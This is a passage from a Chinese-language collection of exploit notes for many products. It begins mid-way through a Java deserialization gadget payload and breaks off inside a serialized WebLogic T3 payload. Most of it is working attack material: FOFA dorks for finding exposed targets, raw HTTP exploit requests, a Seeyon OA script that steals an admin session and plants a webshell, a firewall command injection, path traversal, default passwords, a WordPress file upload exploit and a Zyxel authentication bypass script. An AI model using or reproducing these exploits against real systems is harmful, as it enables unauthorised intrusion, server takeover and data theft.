<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<initialized>false</initialized>
<opmode>0</opmode>
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>calc.exe</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer></ibuffer>
<done>false</done>
<ostart>0</ostart>
<ofinish>0</ofinish>
<closed>false</closed>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
</entry>
<entry>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>
0x25 其他信息
4月10日9時，網爆OneBl**小於等於v2.2.1遠程命令執行，poc已流出
CVE-2021-24086，Windows TCP/IP拒絕服務漏洞POC已公開
Chrome 命令執行(需要關閉Google沙箱，不排除存在繞過沙箱的可能) //https://www.cnblogs.com/KHZ521/p/14654233.html
4月11-4月12安全情報
0x26 浪潮 ClusterEngineV4.0 任意命令執行
漏洞關注點
/alarmConfig
fofa_dork
title="TSCEV4.0"
POC
地址 : https://github.com/xiaoshu-bit/ClusterEngineRce
pip3 install -r requirements.txt
python3 clusterengine_poc.py -u http://127.0.0.1:1111
def verify(self, first=False):
target = self.scan_info['Target']
verbose = self.scan_info['Verbose']
headers = {
"Content-Type": "application/x-www-form-urlencoded"
}
payload = "op=login&username=asd&password=asd'"
try:
url = urljoin(target, '/login')
resp = req(url, 'post', data=payload,headers=headers,verify=False)
if ('{"err"' in resp.text) and (" syntax error: unexpected end of file" in resp.text):
log.highlight("found Inspur ClusterEngine v4.0 Remote Code Execution")
self.scan_info['Success'] = True
self.scan_info['Ret']['VerifyInfo']['URL'] = url
self.scan_info['Ret']['VerifyInfo']['Payload'] = payload
self.scan_info['Ret']['VerifyInfo']['method'] = "POST"
return
except Exception as e:
log.info("[*]Request to target URL fail! {}".format(e))
0x27 志遠OA session泄露&&任意文件上傳漏洞
漏洞描述
致遠OA通過發送特殊請求獲取session，在通過文件上傳接口上傳webshell控制服務器
fofa
title="致遠"
漏洞復現
首先是一個獲取管理cookie的漏洞。然後上傳壓縮文件進行解壓。達到getshell的目的
POST /seeyon/thirdpartyController.do HTTP/1.1
Host: 192.168.10.2
User-Agent: python-requests/2.25.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Length: 133
Content-Type: application/x-www-form-urlencoded
method=access&enc=TT5uZnR0YmhmL21qb2wvZXBkL2dwbWVmcy9wcWZvJ04%2BLjgzODQxNDMxMjQzNDU4NTkyNzknVT4zNjk0NzI5NDo3MjU4&clientPath=127.0.0.1
上傳壓縮包
POST /seeyon/fileUpload.do?method=processUpload HTTP/1.1
Host:192.168.10.2
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.25.1
Cookie: JSESSIONID=3495C4DEF87200EA323B1CA31E3B7DF5
Content-Length: 841
Content-Type: multipart/form-data; boundary=59229605f98b8cf290a7b8908b34616b
--59229605f98b8cf290a7b8908b34616b
Content-Disposition: form-data; name="firstSave"
true
--59229605f98b8cf290a7b8908b34616b
Content-Disposition: form-data; name="callMethod"
resizeLayout
--59229605f98b8cf290a7b8908b34616b
Content-Disposition: form-data; name="isEncrypt"
0
--59229605f98b8cf290a7b8908b34616b
Content-Disposition: form-data; name="takeOver"
false
--59229605f98b8cf290a7b8908b34616b
Content-Disposition: form-data; name="type"
0
--59229605f98b8cf290a7b8908b34616b
Content-Disposition: form-data; name="file1"; filename="11.png"
Content-Type: image/png
111
--59229605f98b8cf290a7b8908b34616b--
然後解壓
POST /seeyon/ajax.do HTTP/1.1
Host: 192.168.10.2
User-Agent: python-requests/2.25.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/x-www-form-urlencoded
Cookie: JSESSIONID=BDF7358D4C35C6D2BB99FADFEE21F913
Content-Length: 157
method=ajaxAction&managerName=portalDesignerManager&managerMethod=uploadPageLayoutAttachment&arguments=%5B0%2C%222021-04-09%22%2C%225818374431215601542%22%5D
getshell 腳本
# coding: utf-8
import requests
import re
import time
proxy = {'http': '127.0.0.1:8080', 'https': '127.0.0.1:8080'}
def seeyon_new_rce(targeturl):
orgurl = targeturl
# 通過請求直接獲取管理員權限cookie
targeturl = orgurl + 'seeyon/thirdpartyController.do'
post={"method":"access","enc":"TT5uZnR0YmhmL21qb2wvZXBkL2dwbWVmcy9wcWZvJ04+LjgzODQxNDMxMjQzNDU4NTkyNzknVT4zNjk0NzI5NDo3MjU4","clientPath":"127.0.0.1"}
response = requests.post(url=targeturl,data=post,proxies=proxy, timeout=60,verify=False)
rsp = ""
if response and response.status_code == 200 and 'set-cookie' in str(response.headers).lower():
cookies = response.cookies
cookies = requests.utils.dict_from_cookiejar(cookies)
# 上傳壓縮文件
aaa=cookies['JSESSIONID']
print(aaa)
targeturl = orgurl + 'seeyon/fileUpload.do?method=processUpload'
files = [('file1', ('11.png', open('1.zip', 'r'), 'image/png'))]
print()
headers = {'Cookie':"JSESSIONID=%s"%aaa}
data = {'callMethod': 'resizeLayout', 'firstSave': "true", 'takeOver':"false", "type": '0',
'isEncrypt': "0"}
response = requests.post(url=targeturl,files=files,data=data, headers=headers,proxies=proxy,timeout=60,verify=False)
if response.text:
reg = re.findall('fileurls=fileurls\+","\+\'(.+)\'',response.text,re.I)
print(reg)
if len(reg)==0:
exit("匹配失敗")
fileid=reg[0]
targeturl = orgurl + 'seeyon/ajax.do'
datestr = time.strftime('%Y-%m-%d')
post = 'method=ajaxAction&managerName=portalDesignerManager&managerMethod=uploadPageLayoutAttachment&arguments=%5B0%2C%22' + datestr + '%22%2C%22' + fileid + '%22%5D'
#headers = {'Cookie': cookies}
headers['Content-Type']="application/x-www-form-urlencoded"
response = requests.post(targeturl, data=post,headers=headers,proxies=proxy,timeout=60,verify=False)
print(response.text)
seeyon_new_rce("https://baidu.com/")
shell地址：/seeyon/common/designer/pageLayout/a2345678.jsp
0x28 奇安信 網康下一代防火牆RCE
漏洞位置
/directdata/direct/router
POC
POST /directdata/direct/router HTTP/1.1
Host: 192.168.10.6
Connection: close
Cache-Control: max-age=0
sec-ch-ua: "Google Chrome";v="89", "Chromium";v="89", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=q885n85a5es9i83d26rm102sk3; ys-active_page=s%3A
Content-Type: application/x-www-form-urlencoded
Content-Length: 160
{"action":"SSLVPN_Resource","method":"deleteImage","data":[{"data":["/var/www/html/d.txt;whoami>/var/www/html/1.txt"]}],"type":"rpc","tid":17,"f8839p7rqtj":"="}
0x29 其他信息
4月12日14時 最新發現天擎終端安全管理系統控制檯存在遠程命令執行漏洞，poc疑似已流出
4月12日12時 最新發現訊雷11存在二進制漏洞
4月12日12時 傳出PHP zerodiMQ後門漏洞，poc已流出
4月12日10時 傳出fastjson 1.2.75 繞過RCE漏洞，poc疑似已流出
4月13號-4月21號
0x30 Create D-Link DCS系列監控賬號密碼信息泄露
fofa
app="D_Link-DCS-2530L"
POC
/config/getuser?index=0
0x31 HIKVISION 流媒體管理服務器 後臺任意讀取
Fofa
title="流媒體管理服務器"
POC
http://xxx.xxx.xxx.xxx/systemLog/downFile.php?fileName=../../../../../../../../../../../../../../../windows/system.ini
0x32 HIKVISION 流媒體管理服務器 存在默認口令
POC
admin/12345
0x33 Kyan 網絡監控設備 賬號密碼泄露漏洞
fofa
title="platform - Login"
POC
http://xx.xx.xx.xx/host
0x34 Wayos AC集中管理系統默認口令
Fofa
title="AC集中管理系統"
POC
admin/admin
0x35 WordPress 插件SuperForms任意上傳
影響版本
<= 4.9.X
POC
# Exploit Title: WordPress Plugin SuperForms 4.9 - Arbitrary File Upload to Remote Code Execution
# Exploit Author: ABDO10
# Date : Jan - 28 - 2021
# Google Dork : inurl:"/wp-content/plugins/super-forms/"
# Vendor Homepage : https://renstillmann.github.io/super-forms/#/
# Version : All (<= 4.9.X)
# data in http request :
POST /wp-content/plugins/super-forms/uploads/php/ HTTP/1.1
<=== exploit end point
Host: localhost
User-Agent: UserAgent
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data;
boundary=---------------------------423513681827540048931513055996
Content-Length: 7058
Origin: localhost
Connection: close
Referer: localhost
Cookie:
-----------------------------423513681827540048931513055996
Content-Disposition: form-data; name="accept_file_types"
jpg|jpeg|png|gif|pdf|JPG|JPEG|PNG|GIF|PDF <=======
inject extension (|PHP4) to validate file to upload
-----------------------------423513681827540048931513055996
Content-Disposition: form-data; name="max_file_size"
8000000
-----------------------------423513681827540048931513055996
Content-Disposition: form-data; name="image_library"
0
-----------------------------423513681827540048931513055996
Content-Disposition: form-data; name="files[]";
filename="filename.(extension)" <==== inject code extension (.php4)
for example
Content-Type: application/pdf
Evil codes to be uploaded
-----------------------------423513681827540048931513055996--
# Uploaded Malicious File can be Found in :
/wp-content/uploads/superforms/2021/01/<id>/filename.php4
u can get <id> from server reply .
0x36 Zyxel NBG2105身份驗證繞過
POC & EXP
# python3
import requests
import sys
from requests.packages.urllib3.exceptions import InsecureRequestWarning
def poc(url):
exp = url + "/login_ok.htm"
header = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
"cookie":"login=1",
}
try:
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
response = requests.get(url=exp, headers=header, verify=False,timeout=10)
#print(response.text)
if response.status_code == 200 and "GMT" in response.text:
print(exp + " 存在Zyxel NBG2105 身份驗證繞過 CVE-2021-3297漏洞！！！")
print("數據信息如下：")
print(response.text)
else:
print(exp + " 不存在Zyxel NBG2105 身份驗證繞過 CVE-2021-3297漏洞！！！")
except Exception as e:
print(exp + "請求失敗！！")
def main():
url = str(input("請輸入目標url："))
poc(url)
if __name__ == "__main__":
main()
0x37 weblogic的T3反序列化RCE
POC
#!/usr/bin/python2
import socket
import os
import sys
import struct
import time
if len(sys.argv) < 2:
print 'Usage: python %s <TARGET_HOST> <PORT>' % os.path.basename(sys.argv[0])
sys.exit()
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(5)
server_address = (sys.argv[1], int(sys.argv[2]))
print '[+] Connecting to %s port %s' % server_address
sock.connect(server_address)
# Send headers
headers='t3 9.2.0.0\nAS:255\nHL:92\nMS:10000000\nPU:t3://abcdefghijklmnabcdefghijklmnabcdefghijklmnabcdefghijklmnabcdefghijklmnabcdefghijklmn:7001\n\n'
print 'sending "%s"' % headers
sock.sendall(headers)
data = sock.recv(1024)
print >>sys.stderr, 'received "%s"' % data
payloadObj='\xac\xed\x00\x05\x73\x72\x00\x17\x6a\x61\x76\x61\x2e\x75\x74\x69\x6c\x2e\x4c\x69\x6e\x6b\x65\x64\x48\x61\x73\x68\x53\x65\x74\xd8\x6c\xd7\x5a\x95\xdd\x2a\x1e\x02\x00\x00\x78\x72\x00\x11\x6a\x61\x76\x61\x2e\x75\x74\x69\x6c\x2e\x48\x61\x73\x68\x53\x65\x74\xba\x44\x85\x95\x96\xb8\xb7\x34\x03\x00\x00\x78\x70\x77\x0c\x00\x00\x00\x10\x3f\x40\x00\x00\x00\x00\x00\x02\x73\x72\x00\x19\x6a\x61\x76\x61\x2e\x72\x6d\x69\x2e\x4d\x61\x72\x73\x68\x61\x6c\x6c\x65\x64\x4f\x62\x6a\x65\x63\x74\x7c\xbd\x1e\x97\xed\x63\xfc\x3e\x02\x00\x03\x49\x00\x04\x68\x61\x73\x68\x5b\x00\x08\x6c\x6f\x63\x42\x79\x74\x65\x73\x74\x00\x02\x5b\x42\x5b\x00\x08\x6f\x62\x6a\x42\x79\x74\x65\x73\x71\x00\x7e\x00\x04\x78\x70\xea\x0c\xa3\xad\x70\x75\x72\x00\x02\x5b\x42\xac\xf3\x17\xf8\x06\x08\x54\xe0\x02\x00\x00\x78\x70\x00\x00\x10\xea\xac\xed\x00\x05\x73\x72\x00\x17\x6a\x61\x76\x61\x2e\x75\x74\x69\x6c\x2e\x4c\x69\x6e\x